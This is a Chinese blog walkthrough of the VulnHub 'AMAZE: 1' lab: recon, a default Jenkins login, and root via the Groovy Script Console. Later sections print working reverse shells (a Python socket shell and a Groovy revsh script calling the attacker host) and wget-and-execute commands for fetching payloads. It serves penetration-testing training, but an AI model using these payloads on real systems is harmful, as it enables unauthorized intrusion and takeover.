wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.7- AMAZE: 1 (vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:9 | 阅读: 3117

一、前言

主要利用方式:弱口令突破边界+Groovy script(脚本命令行)多种方式反弹shell

二、靶机信息

  靶场: vulnhub.com
    靶机名称: AMAZE: 1
    难度: 中等
    发布时间: 2020 年 9月 27 日
    下载地址:https://www.vulnhub.com/entry/amaze-1,573/
    备注:
1、Jenkins 漏洞利用太多,容易乱花渐欲迷人眼,当尝试了多模块后,发现都没办法成功利用。
2、此靶场在后期反弹shell的过程中,要获取"/bin/bash"交互式shell,要不然会存在反弹即断连的情况,
3、在反弹shell的过程中,除了通过java 及python方式反弹shell外,php存在一个坑,找不到80端口web服务下的php文件,有可能技术不到位,待后续排查,欢迎交流

三、虚拟机配置

virtualBox、USB1.0模式、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

1.png

2、探测靶机ip端口开放及开放端口的详细服务

└─$ sudo nmap -p- 10.0.2.15 
└─$ sudo nmap -p21,22,80,8000 -sV -A 10.0.2.15

2-1.png
2-2.png

21port:21/tcp   open  ftp     vsftpd 3.0.3+ftp匿名登录
22port:22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80port:80/tcp   open  http    Apache httpd 2.4.38
8000port:8000/tcp open  http    Jetty 9.2.z-SNAPSHOT

3、21端口 FTP匿名登录并查看ftp是否存在敏感信息或者隐藏文件等

└─$ ftp 10.0.2.15
ftp> ls -la

3.png

4、80端口 信息收集,未发现可用信息

http://10.0.2.15

4.png

5、路径扫描,访问login.php,暂未发现有用信息

5.png

访问http://10.0.2.15/login.php

5-2.png

6、同样方法,再扫描一下带端口8000的路径
6.png

[21:44:11] 302 -    0B  - /assets  ->  http://10.0.2.15:8000/assets/        
[21:44:12] 500 -   13KB - /assets/                                          
[21:44:16] 303 -    0B  - /console/j_security_check  ->  http://10.0.2.15:8000/loginError
[21:44:20] 200 -   17KB - /favicon.ico                                      
[21:44:24] 303 -    0B  - /j_security_check  ->  http://10.0.2.15:8000/loginError
[21:44:24] 403 - 1013B  - /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd        
[21:44:26] 302 -    0B  - /logout  ->  http://10.0.2.15:8000/               
[21:44:26] 200 -    6KB - /login                                            
[21:44:26] 302 -    0B  - /logout/  ->  http://10.0.2.15:8000/                                                  
[21:44:27] 403 -    1KB - /manager/jmxproxy/?set=Catalina%3Atype%3DValve%2Cname%3DErrorReportValve%2Chost%3Dlocalhost&att=debug&val=cow                                                                                           
[21:44:35] 403 -    1KB - /remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd
[21:44:36] 200 -   71B  - /robots.txt 

7、通过信息收集,只可访问8000端口,其他皆未发现有效信息
7.png

8、尝试弱口令:jenkins/jenkins ,登录成功
8.png

五、漏洞利用(突破边界)

9、searchsploit Jenkins的漏洞

└─$ searchsploit jenkins 

9.png

如上利用方式,尝试了多种模块,皆未成功利用
10、 Manage Jenkins - Script Console中可以执行shell命令
10.png
10-2.png

println "id".execute().text

10-3.png

此控制台允许用户使用Groovy script运行自动化和报告命令。通过利用此特权,攻击者可以使用 revsh.groovy将反向 shell 会话返回给攻击者机器。已经是root权限,只要成功拿到服务器权限即可。

六、反弹shell(root权限下)

方法一(python 反弹shell):

11、python脚本生成一个bash反弹shell

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.7",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);

11.png

12、攻击机(kali)启动一个python服务,以备靶机来下载

└─$ python -m http.server 80

12.png

13、靶机下载shell文件并使用python 执行文件

println "wget http://10.0.2.7/0619sec.py -P /tmp/".execute().text
println "python3 /tmp/0619sec.py".execute().text

13.png
13-2.png

14、nc监听999端口,并监控到成功反弹shell
14.png

方法二(java 反弹shell):

**15、在https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76#file-revsh-groovy
成功找到利用脚本revsh.groovy**

Stringhost="localhost";
intport=8044;
Stringcmd="cmd.exe";
Processp=newProcessBuilder(cmd).redirectErrorStream(true).start();Sockets=newSocket(host,port);InputStreampi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStreampo=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exceptione){}};p.destroy();s.close();

16、修改IP,端口,程序

String host="10.0.2.7";
int port=6666;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

16.png

17、攻击机监听6666端口,并记录反弹shell
17.png

方法三(php反弹shell)--莫名其妙的未完成方案,待后续再思考

18、通过前期80端口的扫描及浏览器访问,可以发现此靶机存在php web服务,并且存在login.php
但通过后续上传php shell文件后,全服务器寻找80端口的php文件,未尝发现,全服务搜索,只能搜索到自己上传的php shell文件

println "wget http://10.0.2.7/prs.php -P /tmp/".execute().text
println "wget http://10.0.2.7/prs.php -P /var/www/html/".execute().text

18.png

最终,此靶场结束~!

TOP